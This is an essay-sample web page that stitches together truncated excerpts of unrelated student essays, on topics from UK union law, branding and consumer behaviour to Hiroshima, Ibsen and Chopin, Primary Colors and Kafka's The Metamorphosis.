firm can contract an international firm like Fed-Ex or any other big name in the market to make sure that its material always reaches the buyers on time (Data Monitor, 2008). Similarly, another problem in the Indian economy is less mechanization and more dependence on unskilled labor. This labor often spoils the whole lot, which is a big profit-reducer for our firm. Our firm therefore, should try to invest on R& D to make sure that we transfer the best technology to India which will not only increase our reputation in the international market, but this will also help us into becoming more efficient and

Importance of effective research Essay Example | Topics and Well Written Essays - 500 words

Importance of effective research - Essay Example relevant bits of data while not giving in to the temptation to ignore data that does not entirely support your hypothesis is the challenge of the modern researcher. But this research is at the very heart of the decision making process for educational entities (Marsh, 2006) business and governmental bodies. Data driven analysis is dependant on the research skills of professionals in all fields. But perhaps of equal importance is the ability to convey research results to others in writing. Good research can be made worthless by poor writing skills. Written communication is especially important in an age of e-mails. Being able to clearly convey the essence of your research will determine if the research is useful for decision making or if it is simply more confusing data that will ultimately be ignored. Information System Research† has several distinct advantages for all involved in the Work System. The stated goal of this means of evaluation is to view how objectives within the company are achieved by viewing processes in terms of a Work System and not as individual actors. The Work System includes IT and IS software in the same working group as automobiles or a massive drill press. All of the components of the system that produces a good for internal and external customers are evaluated as to how they relate to one another within the confines of the system (Alter 2002). This focus on internal and external customers is a strength of using a Work System approach to evaluate an Information System. The Work System analysis approach also has the strength of allowing the evaluator to view the Work System and the Information System as separate entities when a degree of overlap needs to be viewed. The article sites three examples of when this type of analysis would be useful. In each example, the amount of overlap between the Work System and the Information System determines the role of the Information System in the Work System. This is referred to as

Mandatory Union Recognition Essay Example | Topics and Well Written Essays - 2250 words

Mandatory Union Recognition - Essay Example Before the ERA 1999, union membership and recognition in UK were characterised by voluntarism, in which employers and employees could bargain over the terms and conditions of employment without any legal interference. With the statutory system ushered in by the new law, voluntary recognition of unions is no longer allowed and it becomes unlawful for British employers to deny recognition to unions under any circumstances. That conveys the impression that ERA created a radical change in British industrial relations. This paper takes the contrary view, however, and proposes that while the new industrial relations law looks revolutionary in principle, there are no fundamental changes in actuality for the change to qualify as "earth-shaking" in the UK context. The trade union movement in UK used to be such a potent political force that it unseated two governments in the 1970s and may have helped brought the ruling New Labour Party into power. Nonetheless, it is believed that the movement has a soft underbelly because of the movement's vulnerability to attacks from the state and the employer sector (Howell, 2000). The reason is the state policy of voluntarism in collective bargaining negotiations, which finds expression in the Department of Trade and Industry campaign to woo other European investors into UK. In its printed brochures to attract foreign investors, the DTI states that employment regulations in UK are largely on a voluntary basis with no requirements for mandatory union agreements and fewer restrictions on both recruitment and dismissal (Machin, 2001). Thus, the state consistently denies political access to trade union, restricting their role to the industrial arena. This combines with a mindset among British employers as a cl ass to prefer individual dealings at the expense of collective relations with employees (Howell, 2000). The problem for the trade union movement in general was compounded by the workplace trends at the turn of the millennium when the nature of jobs took on a new dimension such that there are now more employees on part-time and temporary contracts, more jobs are being outsourced, tight definitions of jobs are out, and functional flexibility is in. The possible causes of the decline in unionism include the increasing use of subcontracting, automatic machines and flexible working. Other developments include the fragmentation of the workforce in most establishments, and the decline in the proportion of workers covered by established systems of consultation and negotiation. There is also the advent of American-influenced human resource management, which eschews collective representation and instead promotes individualism. This means that employers increasingly deal with employees on a mo re personal basis, thus eliminating the need for union representation and making union organising more difficult. As a result, industrial relations became more and more characterised by individualised or personalised actions instead of collective power and solidarity. In UK, the trade union movement started to feel the decline in union recognition as early as the late 1970s when Thatcher made the attack on union power the key item in her change agenda. In 2001, union coverage dropped to 47 percent from 50 percent in 1997, with the closure of unionized

Write your own topic Essay Example | Topics and Well Written Essays - 1500 words - 1

Write your own topic - Essay Example The basic distinction in views lies in identifying whether poverty is to be measured as a relative or absolute concept. On one side there is an unofficial coalition of government agencies, departments and many private sector organizations who posit their common mandate to be alleviating poverty. This group is in essence socialistic in its support for a highly regulated economy where, significant increases in government spending towards social problems are favoured (Goldberg & Pulkingham, 1999). On the other hand, there is the ‘pro-market’ coalition. This group is populated by both government and private sector agencies and institutions which converge towards a primary objective of promoting business in Canada and increasing trade between Canada and other nations. The ‘pro-business’ group supports a much less regulated economy and may be classified as political and fiscal conservatives who favour much less spending by the government on social issues and decreased taxation (Ligaya, 2007). The difference among these groups regarding the notion of poverty and its measurement finds its source in the way poverty is defined and measured by each of these groups. The first group assumes income to be the defining quality and arrives at a set of poverty lines for both individuals and families for different regions. As an example, the poverty line was set to be $33,365 for a family of four persons living in Toronto in 2004. Thus, families with similar characteristics whose pre-tax income was less than the foresaid amount were said to be living in poverty (Pohl, 2002). The second coalition, the ‘pro business’ group, contradicts the first group by describing their measures to be too broad to be pragmatic and thus deducing that, the set poverty lines resulting from the measures are inflated; thereby exaggerating condition of poverty in Canada. This group adopts a definition of poverty which is more restrictive and their means of measuring poverty

Popular Music and Its Use in Propaganda Essay Example | Topics and Well Written Essays - 2500 words

Popular Music and Its Use in Propaganda - Essay Example The observation was also conveyed that pictures of violence are prominent in song descriptions especially for the rock genre. The report was purportedly to show the destructive repercussion of popular music on the juveniles. (Music's Deadly Influence. August 3, 1999. CWA Concerned Women for America. [internet]). Another paper says that on a daily average, two and a half hours are being spent by teenagers listening to music more than half of which containing allusions to drugs and alcohol. (Parker-Pope, Tara. Under the Influence of...Music February 5, 2008. The New York Times. [internet]). How popular music sways the human individual was once explained by the philosopher and composer Theodor W. Adorno in that mass habitual listening first results into the tune being first perceived, then recognized and finally accepted. That cycle finally ends singly in acceptance and becomes a way of everyday life. It was on this premises that Adorno, together with his friend Max Horkheimer, likewise a philosopher, strongly argued against the aspect of popular music having the tendency to be used for propaganda purposes. (Adorno, Theodor W. assisted by George Simpson. Theory about the listener. Institute of Social Research. New York. 1941. soundscapes.infor [internet]). Music is admittedly universal and is estimated to have started its development as early as fifty thousand years ago in Africa and must have undergone numerous evolutions as generations come and go. (History of classical music traditions. Wikipedia. [internet]). Naturally, genres and styles likewise crop up and fizzle out. Music itself in general could have already been used in announcements, declarations and in other forms of communications for thousands of years, that is, even before the emergence of pop culture. Known is the fact that music has been historically linked with political and social activities, including dynamics in expressions such as those pertaining to anti-war themes, patriotic songs and other varieties of delivering a message. In these instances, since the object is the people, the song or music must be one readily acceptable by the masses. (Music and politics. Wikipedia. [internet]). In the specific case of popular music, if indeed it is a valuable tool for propa ganda, then its use for that purpose must have already traversed the period from the middle of the 1950's or even before and up to the present. Presidential candidates in the United States of America have oftentimes used well-known songs in their political campaign or propaganda. The themes can vary from political platform or planned programs of government to direct or subtle character assassination against the adversaries. Music in politics has been used even during the time of George Washington, the first president, whose supporters had flutes blown out while rejoicing when the general was unanimously nominated. John Adams and Thomas Jefferson had also their campaign songs, ironically composed by the same talent, in the election of 1800. Eisenhower, Franklin Roosevelt and John Quincy Adams likewise had their own. William Henry Harrison famously campaigned with the song entitled Tippercanoe and Tyler, Too; he had other songs for his political advertising one of which attacked Martin Van Buren as someone like Satan. Franklin Roosevelt

HRD Case Study Example | Topics and Well Written Essays - 500 words

HRD - Case Study Example s in which the acquired companies used when going into market but also rethinking how various business parts could be integrated on a global perspective. Specifically, Mr. Grunewald required finishing market research so that the organization can acquire adequate information prior to entering the market, simplifying the existing production design, rationalizing the distribution channels, and most importantly overcoming regional differences. The company’s recent improvements were the result of a commitment that was met. This involved a four-part strategy that concentrated the organization’s resources as well as energies on a clear set of objectives. These objectives incorporated building the organization’s core profitability, strengthening its management, broadening the returns, and improving returns on equity. Through application of such managerial aspects, the organization’s direction was reversed from the verge of collapse due to customer dissatisfaction and tarnished reputation to a global power surpassing most of its previous performance records. The organization’s current performance is being driven by several factors. First, the urge to re-establish its reputation and its market share in the global perspective is pushing the organization to shift the mode of thinking from the local perspective to global. Second, competition in most segments of the local market has also pushed the organization to improve its practices and focus on bigger and broader opportunities in the global arena. Black & Decker has taken the issue of competition seriously to the point that it has even reverse engineered some of the competitor’s products to manufacture better products with respect to technology and security. One of the strengths include that the proposal had accounted for the major aspects that would be essential to establish the organization in the projected markets. The proposal had catered for communication among the branches and established an idea of the

The Bombing of Hiroshima and Nagasaki Research Paper

The Bombing of Hiroshima and Nagasaki - Research Paper Example Hiroshima underwent the massacre due to the weapon titled ‘Little Boy’ on the 6th of August whereas the ‘Fat Man’ was dropped on Nagasaki three days later. In order to let peace prevail after, Japan sent an instrument of surrender after almost a week of the bombings which marked the end of the Second World War. Prior to the surrender of the Nazi army in Germany, the Allies of World War II had already made plans to go ahead with Operation Downfall which was supposed to be the invasion of Japan. In 1945 when Germany was defeated, the Allies turned their attention towards Japan. Under the guidance of Major General Leslie Groves, U.S Army Corps of Engineers, the first atomic bombs were finally designed. Even though preparations were going on since 1939, fearing the Nazi army to build worse nuclear weapons kept the Allies in check and made them not reveal their weaponry. Both the Little Boy and the Fat Man were implosion weapons designed as gun type fission weapo ns; Little Boy was made of a rare isotope of uranium-235 and the Fat Man formed its base in plutonium-239. On receiving the Potsdam Declaration, the Japanese government decided to ignore it or kill it by silence and despite being given an ultimatum to surrender and told by the Allies that the consequences of non compliance with the same would result in the complete destruction of the Japanese Armed Forces as well as proper devastation of Japan on the whole, a clear rejection of the Declaration was provided by the then Prime Minister, Kantaro Suzuki. Hiroshima was of prime importance to the Japanese because its strategic location made the city a backbone for developing industry, trade and commerce. The city also had attached towards itself a great amount of military significance. The Allies had decided that in case the bombing of Hiroshima did not go as planned, they would target the cities of Kokura and Nagasaki alternately. The point which was aimed from the craft, Enola Gay, (whic h was the craft used to drop the bomb on Hiroshima), was the Aioi Bridge however, it missed and landed on the Shima Surgical Clinic, blasting at least 12km2 of the city and spreading fire everywhere. 30% of the population of the city at the time was killed immediately, with the effects ranging on another million or so that were riddled with the gases and fumes and burns due to the fire of the blast. Many people were affected by cancer and leukaemia due to the after effects of the blasts, which led to their death eventually as well. The Hiroshima Genbaku Dome is one of the few known surviving ruins post the attacks and in 1996; it was termed as a World Heritage Site by UNESCO which followed repeal from countries like US and China. Nagasaki was one of the largest ports that Japan had and thus it was vital to the country’s growth and development because of its connection with overseas routes which were especially of use during the time of the war in order to import and export ma terials, keep an eye on invading foreigners, as well as produce and distribute military equipment

The Awakening and A Doll House Comparison Essay Essay Example for Free

The Awakening and A Doll House Comparison Essay Essay Women roles have drastically changed since the late 18th and early 19th century. During this time, women did not have the freedom to voice their opinions and be themselves. Today women don’t even have to worry about the rules and limitations like the women had to in this era. Edna in â€Å"The Awakening† by Kate Chopin and Nora in â€Å"A Doll House† by Henrik Ibsen were analogous protagonists. The trials they faced were also very similar. Edna and Nora were both faced with the fact that they face a repressive husband whom they both find and exit strategy for. For Nora this involved abandoning her family and running away, while Edna takes the option that Nora could not do-committing suicide. These distinct texts both show how women were forced to act during their marriage and towards society during this time. â€Å"The Awakening† explores the controversial character, Edna Pontellier’s, desire to find and live fully within her true self. She upsets many nineteenth century expectations for women and their supposed roles. Rebelling against societal norms, Edna finally learns to think of herself as an independent woman. One of her most shocking actions was her denial of her role as a mother and wife. She leaves her husband, Leà ³nce and has an affair with Robert. Due to Roberts constant presence, Edna starts to experience a change within herself. She begins to develop a sense of herself as a whole person. She realizes that she is not satisfied to simply be a wife and a mother, and so she begins to stand up for herself to her husband. Leà ³nce to Edna: â€Å"I can’t permit you to stay out there all night. You must come in the house instantly.† Edna replies â€Å"Leà ³nce go to bed †¦ I mean to stay out here. I don’t wish to go in and I don’t intend to. Don’t speak to me like that again; ill shall not answer you.† (Chopin 25). Her willingness for independence and freedom leads to her disobeying her husband. She realizes that she cannot continue taking orders she does not please to follow which leads to the realization of her marriage making her wonder if she still wants to be with her husband. As Edna begins the process of identifying her true self, the self that exists apart from the identity she maintains as a wife and mother. Unexpectedly, Robert and Edna become extremely close with each other by summers end. Unwilling to further his relationship with a married woman, Robert leaves the country for Mexico. Furthermore, Leà ³nce truly believed he had no obligation to care for his children and that it was  Edna’s duty to do so. â€Å"If it was not a mother’s place to look after the children, whose on earth was it?† (Chopin 7). In society’s eyes, all a man needed to do was support their kids financially while the woman supported them in other ways. Chopin focuses on two other female characters in the story, Adele Ratignolle and Mademoiselle Reisz. These women are examples of how women should be in the nineteenth century. Adele was an example of a motherly woman.† She would gladly sacrifice anything to care for her children, husband, and household, while Edna would not. Edna finds both role models lacking and begins to see that the life of freedom and individuality that she wants goes against society. Not only did society have a specific look on how a women should be, but Leà ³nce as well, towards Edna. â€Å"’You are burnt beyond recognition,† he added, looking at his wife as one looks at a valuable piece of personal property which has suffered some damage.† This shows how Edna is not an acceptable color according to her husband’s wishes. Edna had specific guidelines to follow and getting a â€Å"tan† gave a different appearance, indicating that the Pontellier family wasn’t maintaining the purity of their blood. At the beginning of â€Å"A Doll House,† everything seems well. Nora and Torvald Helmer seem quite happy together. Torvald speaks to his wife in a rather demeaning way, but she doesnt really seem to mind. The Helmers are both excited because Torvald has gotten a new job as the manager of a bank and now money wont be a concern. Noras old school friend, Mrs. Christine Linde, arrives hoping that Torvald might be able to give her a job. Over the course of their conversation, Nora confesses to Christine that she has a secret. Nora refuses to tell Christine who she borrowed money from, but does explain why she had to borrow it. Early in the Helmers marriage, Torvald got sick and the doctor prescribed a trip south to warmer climates as the only way to save him. At the time, they didnt have the money for such a trip. To save Torvald‘s pride, Nora borrowed money without his knowledge and funded a year in Italy. In order to pay it off, shes been using money from the allowance Torvald gives her. Krogstad turns out to be whom she borrowed the money from. Krogstad is furious because Torvald is going to fire him. He threatens to expose Noras crime (forging her father’s signature after he was dead in order to get the loan) if he loses his job and so begins  blackmailing her. Nora begs Torvald to get Krogstad back, but refuses because he cant stand being around such awful people. Krogstad writes a letter to Torvald telling him the truth and leaves it in his mailbox. Nora distracts her husband from reading it. After the party they have, Torvald reads the letter. He tells Nora that she is a terrible person. He insists that Nora is not to be allowed near the children anymore, because she may corrupt them. Torvald is really happy and forgives Nora because of another letter Krogstad sends later. Nora, however, doesnt forgive Torvald. She tells him that she is leaving him, because theyve never had a real marriage. Shes never been more than a doll in his eyes. â€Å"NORA: I have other duties equally sacred. HELMER: You do not. What duties would they be? NORA: My duties to myself. HELMER: You are a wife and a mother before you are anything else† (Ibsen pg.1138). This reassures how the women are â€Å"chained† to what they should â€Å"be† and should â€Å"do.† She tries to escape but he still tries to restrain the her from doing so. Like Leà ³nce Pontellier, Nora’s husband is also very direct when it comes to Nora knowing her place. These women were denied their basic right to take care of themselves and were forced to be housewives, as were all women of the 19th century. In conclusion, both Edna and Nora experience an awakening during their quest for freedom. Both wives felt trapped by their societal rules and regulations which didn’t allow them to be their true selves. Edna, fighting against the societal structures of motherhood forced her to be defined by her title as wife of Leà ³nce Pontellier and mother of Raoul and Etienne Pontellier, instead of being her own, self-defined individual, caused her to finally escape by committing suicide. Nora, on the other hand, rebelled against society’s norms and walked out leaving her husband and children. Although Edna and Nora had many similarities both of their awakenings led to two different resolutions.

Brand Identity And Brand Image Marketing Essay

Brand Identity And Brand Image Marketing Essay In business brand isnt a new theory. It is used by marketers from long time to identify their products from other competitors that have same product category. As Van Den Heever said the word brand comes from the old German word brandr which means to burn. (Lombard, 2007, p. 18)A Brand is a symbolic embodiment of all the information connected to the product and serves to create associations and expectations around it (Kalakumari Sekar, 2012)The traditional American definition of brand is, a name, term, sign, symbol, or design, or combination of them, which is intended to identify the goods or services of one seller or group of sellers and to differentiate them from those of competitors (Lee Zhang, 2000) 2.1.1 Brand identity and Brand image Brand image has been assigned different meanings from the day it was introduced into the marketing discipline by Gardner and Levy (1955). Some researches has define brand image as brand identity, but according to the recent studies that have claimed that brand image and brand identity are two different concepts but they are interchangeable. Moreover, there are four basics to understand and define the brand image, which are : 1)Brand image is an image in the mind created by the consumer.2) Consumers use their emotions and feelings to interpret the concept of brand image.3) Brand image is an idea fuelled by knowledge through marketing activities taken from the observation of consumer characteristics. 4) The perception of brand image designed in the mind of consumer is much more important than the actual one. However, Brand image is how a brand is perceived by consumers, while brand identity is the way that the company exposes the brand in the market, and how it wants to be perceived by the customers. Eventually, customers may not have the same image of the brand that the company presented. (Bian X., 2011) (Price, 2010) 2.1.2 Brand Power and Market Share According to Stobart (1994) brand power and dominant market share could be occurred through perceived product quality. Generally, entrepreneurs and managers have a great impact on creating power brands. They understand a need and desire of a specific group of customers then they create products and supply the associated services that satisfy those needs extremely well. Effective quality control procedures make sure they do things right the first time in delivering those products and services. Therefore, they achieve superior quality when they sell them the high quality with a less cost of lower quality competitors. Then, they advertise and promote the benefits and the advantages they got using those products. The customer perceives the high quality and the added value offered by the product. The result : a power brand is created and dominant share follows. (Vantamay, 2004) (draw brand power conceptual model) 2.1.3 Brand equity According to Kwok Keung Tam (2007), brand equity is the value premium that a company  realizes from a  product with a recognizable name as compared to its competitors. when Companies make their products memorable, easily recognizable using its name or symbol and superior in quality and reliability, this is the process of creating brand equity. Also, it depends on the number of people with habitual purchase, in that way it could also be a strategy used by the firm to generate cash flow because people arent buying just an ordinary product but they are buying unique value. However, when people are ready to pay more for a standard product instead of branded one, here the brand fails that means brand equity is negative. This might happen if a company caused a widely publicized environmental disaster or had a major product recall. So, when the company wants to expand its product line, it has to consider the brand equity conceptual model. (draw conceptual model) For the consumers, brand equity could present them information about the brand that improves their confidence while their purchasing process. Nevertheless, the brand equity could reduce the expenses of promotions because when brand equity is positive, brand image is positive too that means consumers dont focus on the short term promotion but on the whole brand. Brand equity has five major areas, which are Brand awareness, perceived quality, brand loyalty, brand association and brand positioning. Brand awareness is one of main determinants of brand equity. Brand awareness consist recognition of one particular brand which allows a potential customer to recognize about a specific product or services existence, and confirms that he or she has previously been exposed to it and creating brand awareness is one of the  key steps in promoting a product. (Csapà ³, 2010) In addition according to Kwok Keung Tam (2007) there is two tasks should be done to achieve brand awareness which are namely increasing brand name identity and associating it with the product class. Also, To raise brand awareness some techniques could be useful as advertising and celebrity endorsement. Furthermore, Using perceived quality strategy may lead to consumer satisfaction, which will be shown through perceived performance and expectation. As well, there are many definitions said by some scholars, as consumers perception towards tangible and non tangible characteristics of a product is perceived product quality. these characteristics may include some added value characteristics as performance, durability, conformance, features, serviceability, aesthetics and reliability etc. Moreover, sometimes the actual quality of the product doesnt confirm all these characteristics but the perceived quality of a product could be derived from consumers past experiences. (Vantamay, 2004) A consumer gives a brand loyalty by purchasing the same product or service over and over again rather than buying from other suppliers that sell the same product category. As well, brand loyalty could be defined as the degree of purchasing repeatedly the same brand by the same consumer within a product class. Brand association is the linkage that exist between a brand and the other nodes stored in memory (Korchia, 2007). Every company through consumer buyer research must understand its brand as well as competitors brands . Such a research studies existing and potential customers, past customers, industry experts, and intermediaries. A strong brand should be difficult to be copied by other companies, and such a powerful brand is associated with beliefs and values. (Ghodeswar, 2008) Brand positioning occurs when brand occupies a distinct position comparative to competing brands, in the mind of the customer. Companies use this brand positioning marketing strategy by differentiating the features and characteristics of their brands, or they try to create a specific image of the brand as luxurious, inexpensive, premium and utilitarian through advertising. Branding its all about adding psychological value on service, products and companies. Such value could be in the form of emotional links, beliefs, values, and feelings that people relate to the brand. Once a brand is positioned, it is very difficult to reposition it without destroying its credibility. (Lee Zhang, 2000) 2.2 Consumer Behavior Consumer behavior is the study of the processes involved when individuals or groups select, purchase, use, or dispose of products, services ideas, or experiences to satisfy needs and desires (Solomon, 2007, p. 7).In other words, it is a study focuses on how, what, why, and why people buy. In addition, it studies how people choose to spend their available resources time, money, and effort. 2.2.1 Consumer Buying Behavior The consumer buying behavior concept is the individuals and households who buy goods and services for personal consumption (Tam, 2007). For companies the buying decision is the most crucial part of their enterprise, yet no one really knows how the human brain makes that choice. Buying decisions are made at an unconscious level (Csapà ³, 2010). Furthermore, there are many theories explain the meaning of consumer buying behavior, one of them is Role theory. It suggests that consumers satisfying a need or desire, for this reason they change their consumption decisions, their evaluation criteria. The 7 Ps of marketing stimuli consumer buying behavior which are product, price, place of distribution, promotion, people, process, and physical evidence (KHOURY, 2008) Moreover, there are many factors called buyers characteristics that affect the buying behavior, which are economical, cultural, personal, psychological and social. All these inputs enter the buyers middle box, then many consumers responses observed as product choice, brand choice, dealer choice, purchase timing, and purchase amount. (Csapà ³, 2010) (conceptual model vanda article) 2.2.2 Factors Affecting Consumer Buying Behavior Culture factors: Buyer culture, subculture, and social class are factors that affect consumer buying behavior. Culture is the piece of every society and behavior of people is deeply influenced by their culture. Moreover, Culture is the collection of beliefs, behavior, values, customs and attitudes. Marketers should be careful by analyzing every culture because needs, wants and buying behavior vary from country to other. Culture is divided to many subcultures, and each subculture is a group of people with mutual value systems based on common life situations and experiences. Moreover, subcultures includes nationalities, religious, racial groups, and geographic regions. Marketers should segment the market into different small portions using these groups. Every society contains many social class(upper class, middle class, working class and lower class) which are determined by different factors such income, education , wealth and occupation. These social classes are used by marketers in market segmentation, and it is an important factor because all similar social classes recommend same marketing strategy and every social class its members shares same interests, values and beliefs. (Griffin Pustay, 2003) Social factors : Social factors which are reference groups, family, role and status also influence the buying behavior of consumers . Reference groups could form the attitude or behavior of a person. The impact of reference groups varies according to products and brands types. As an example if the product is visible as clothes, the impact of reference groups is high. Moreover, there is a person who has special skills, knowledge or characteristics which called leader, his opinion is considered by a reference group in many societies. Family members could deeply influence buyer behavior. Hence marketers are trying to know every role of every person in a family, husband, wife, and children. However, they also try to find out who buys a specific product, if husband then they will try to target the men in their advertisements. So, here we should understand that buying roles vary with evolving consumer lifestyles. In the society, roles and status change from one person to other because every person is a member of a specific clubs, organizations or groups For example a husband is working as a coach of football team, that means he will buy the kind of clothing that reflects his and status in his work. (Csapà ³, 2010) Personal factors: Personal factors have impact on buying behavior, such as the buyers age and life cycle, occupation, lifestyle, and personality and self concept. Age and life cycle shape the consumer buying behavior. Purchasing of goods and services of people change with time because every stage of life has its own interests. Life-cycle of a family consists of diverse stages such as young single, unmarried couples, married couples which facilitate marketers to design specific products for each stage. Occupation of a person will affect his purchasing behavior. For example a accounting manager of an organization he should purchase business suits, but a regular or low position worker will purchase cheaper clothes. Economic situation of a consumer has great impact on his buying behavior. The more the income of a consumer is high the more his purchase will be high. However, a person with low income will purchase cheap products. Lifestyle is an important factor that affect strongly the buying behavior of people. lifestyle is a persons of living as expressed in his or her psychographics (Kotler Armstrong, Principles of Marketing, 2001, p. 146). Moreover, people coming from same subcultures, occupation, social class may have quite different lifestyle because lifestyle is determined by customer opinions, interests, activities (work, sports, shopping etc.) Personality varies from person to person, place to place and time to time. the behavior of a person it is his personality not what he wears or what he eats. Personality includes some characteristics such as : self confidence, positive attitude, dominance , active etc which could be useful to determine the selection of products or services for a person. Psychological factors: There are four factors affecting the consumer buying behavior, which are Perception, motivation, learning, beliefs and attitudes. Motivation level that affect the buying behavior. Every person has specific needs such as biological, social, and physiological needs etc. Moreover, these needs vary from one person to another because every person has priority in his needs, and some of these natural needs are pressing more than others. So, These needs which are pressing strongly become motive for a person to reach satisfaction. Perception is a process to produce a meaningful experience in the mind of consumers which contain three steps: Select, organize, and interpret information. Furthermore, there are three different perceptual methods. First method which is selective attention, this case is used by marketers to grab customers attention. Second method is selective distortion, this case is used to interpret the information available about the product in a way to support the customers beliefs. However, third method is selective retention, which is used to retain information that supports customers beliefs. Every customer has specific belief and attitude towards diverse products. However, some of these beliefs and attitudes marketers are interested in them because they affect buying behavior and make up brand image. Moreover, there are some campaigns done by marketers to change customers attitudes and beliefs. (Kotler Armstrong, Principles of Marketing, 2001)

Analysis Of Primary Colors Essay -- essays research papers

Politics is a bloodsport, one big game of corruption, muckraking, prostitution, and defilement, which is played by the politicians, the media, and the seemingly innocent public that tends to forget that politicians are humans also, no better than the masses except for one thing, the ability to play the game. Primary Colors by Anonymous portrays this fraudulent game perfectly, exhibiting all of the dark aspects of a political campaign: from the vicious media in their pursuit of scandals, to the traitorousness of opposing candidates to destroy each other, all the way to the secretive sexual interactions taking place during the campaigning process. Yet in this vice-corrupted novel, Anonymous also manages to let the human side of the tainted politicians shine through, showing that they are imperfect, that they have flaws and weaknesses, and that they make mistakes in exactly the same fashion as all other human beings do. It is with these decadent political figures, Jack Stanton and Fredd y Picker, that Anonymous in Primary Colors shows that there is still a nobleness to politics, a dedication to the voters, a love of the political game, and a human compassion in all of it. It is important to mention the definition of noble in order to avoid misunderstanding the word, for according to the Microsoft Encarta 97 Encyclopedia, the definition of noble is â€Å"stately and imposing; of magnanimous nature,† and referring to The Merriam-Webster Dictionary, noble means â€Å"characterized by or indicative of virtue or magnanimity; high minded; imposing of appearance; grand; impressive† (475). Both definitions of the word noble imply that a person can have a noble appearance and that a person’s main objectives and actions are noble, but one should keep in mind that even noble people are not perfect people. This is especially true with the characters of Jack Stanton and Freddy Picker. Jack Stanton’s appearance, especially when he is presenting himself to the public, doing what he loves best—mingling with â€Å"the folks,† is noble. The public looks up to him, â€Å"he was a big fellow† (Anon., 1) and the manner in w hich he interacts with the people, his meaningful handshakes and physical contact to them, truly listening to them, always remembering their names, and considering them friends is exemplary of nobleness. On the other hand, Freddy Picker’s appearance is completely different, a trim... ...le confessing to Stanton that he is afraid of the media’s power to destroy his life, and Stanton immediately rushes to hug him, rocks him gently, and kisses him on the top of his head while Picker cries on Stanton’s chest (495). The action speaks for itself: two grown men, tough political figures, becoming as loving and caring as a mother with her child--true human compassion. Even in the fierce and heartless business of politics, certain noble human attributes such as a dedication to the public, a love of the game of politics, and the compassion shared in this sport are necessary for politicians, such as Jack Stanton and Freddy Picker, to succeed. Through Primary Colors, Anonymous truly depicts their imperfections, defects, and addictions in such manner that the reader realizes that these characters can not be perfect just because they are politicians. Although political figures are in the public eye, they are human like every other person and the pressure and demand to be faultless by the public is unreasonable and superlative. Politician’s imperfection is best summarized by Anonymous’ character, Jack Stanton: â€Å"This is about the ability to lead. It’s not about perfection† (503).

The Second World War (WWII) :: World War 2 II Two

World War 2 Introduction World War 2 was one of the many wars that occurred during the 20th century. During this brutal war many countries, people, and history were changed. The factors that encourged the Germans and Japanese forces allowed them to take over other countries and kill many of people. Now, years later, from a different point of view, the Germans and Japanese accomplished nothing but just killing innocent people. The greediness behind the Germans and Japanese in the 20th century would change everybodys lives forever. How Did This War Start The Germans had a powerful army in the 1930's. They had a very powerful leader named Adolf Hitler. He was a greedy man who wanted everyone blonde hair, and blue eyes. He wanted everyone the same and to be the only leader in the world. Hitler started his conquest for land in 1938 when he annexed Austria. He followed this by threatening Czechoslovakia. When Hitler increased his demands on the Czechs, war seemed almost certain. The British and French had meetings with Hitler and Mussoluni but they could not stop them from putting demands on other country's. Soon after the meetings Hitler captured Czechoslovakia and seized a former German port. He moved on by putting demands on Poland and the Polish Corridor. In September 1939 France and Britain agreed to support Poland and they soon declared war with Germany. How Did The US Get IntoThe War First of all Japan has no natural resources in their country. So being that they replied on their oil products from the US. In July 27 1941, President Roosevelt stopped all trading with the Japanese. That meaning now that Japan has no fuel to run their military forces. Japan forces then went and attacked the East Indies and took over all of their fuel. Shell was the company that owned most of the fuel products in the East Indies. Shell's head office was in England which led European forces to be in the war against Japan and Germany. When the US stopped trading with Japan they took this as a hostile act but, Japan still tried to make peace with them. A Japan ambassador even asked for a peace discussion with the secretary of state. The meeting did not go threw with the 2 nations. Japan then attacked Atu (an island off of Alaska) in hopes to draw the American forces up North. Japan was wrong , but soon after this they planned out a sneak attack on Pearl Harbour (a military base for the Americans in Hawaii). The Americans had a small idea that the Japanese might attack them. On the Morning of December 7, 1941 a flight of planes were detected, but the people in Pearl Harbour were told that they were US fighter planes coming in

The Sins of Gregor Samsa of Franz Kafka’s The Metamorphosis Essay

The Sins of Gregor Samsa of Franz Kafka’s The Metamorphosis Gregor Samsa’s crimes originate from his intense devotion to his family, and thus in his intense devotion to his work, which in turn makes him intently devout to the conformist society that creates his world. Gregor’s crimes are not of the scope that contains what one may consider normal or standard crimes, and his motivations come from a separate set of values than those that society would consider to be the median. As a result of Gregor’s abnormal and distinctive crimes, he becomes the victim of an odd punishment that indirectly benefits all of Gregor’s previously mentioned motivations. Within the text of Franz Kafka’s The Metamorphosis, Gregor’s awkward punishment turns out to be his transformation into a despicable and horrid bug. Gregor’s transformation is due to his crimes, which include alienating and losing himself in his work, stealing the position of head of the house from his father, and becoming a conformist in a society th at needs deviation to define and justify its conformity. Gregor’s punishment of transformation gives him the ability to repent for all of the crimes for which he has been convicted of by himself and society and make right all of his aforementioned wrongs. Gregor’s dedication to his job remains undeniable; even directly after the metamorphosis Gregor has plans for making it to work, alibi a few moments late. However, despite his dedication, Gregor refuses to be satisfied with his job and all that it entails, most especially his treatment. â€Å"What a fate; to be condemned to work for a firm where the slightest negligence gave rise to the greatest suspicion† (Kafka 9). The disdain for his job happens to be warranted, just as his ded... ...elf, or prepare to accept the consequences, whatever they maybe. Works Cited Honig, Edwin. â€Å"The Making of Allegory.† The Metamorphosis. New York: Bantam Books, 1981. 138-142. Kafka, Franz. The Metamorphosis. New York: Bantam Books, 1981 Kaiser, Hellmuth. â€Å"Kafka’s Fantasy of Punishment.† The Metamorphosis. New York: Bantam Books, 1981. 147-156. McNeil, Russell. â€Å"Gregor Samsa as Functional Deviant.† The Kafka Project. Feb 11,2003. Nabokov, Vladimir. â€Å"Lecture on ‘The Metamorphosis.’† The Kafka Project. Feb. 11, 2003. http://www.kafka.org/verw_issue/nabokov.htm Sokel, Walter. â€Å"Education for Tragedy.† The Metamorphosis. New York: Bantam Books, 1981. 169-186. Webster, Peter. â€Å"Franz Kafka’s ‘Metamorphosis’ as Death and Resurrection Fantasy.† The Metamorphosis. New York: Bantam Books, 1981. 157-168.

Mean Girls Film Analysis

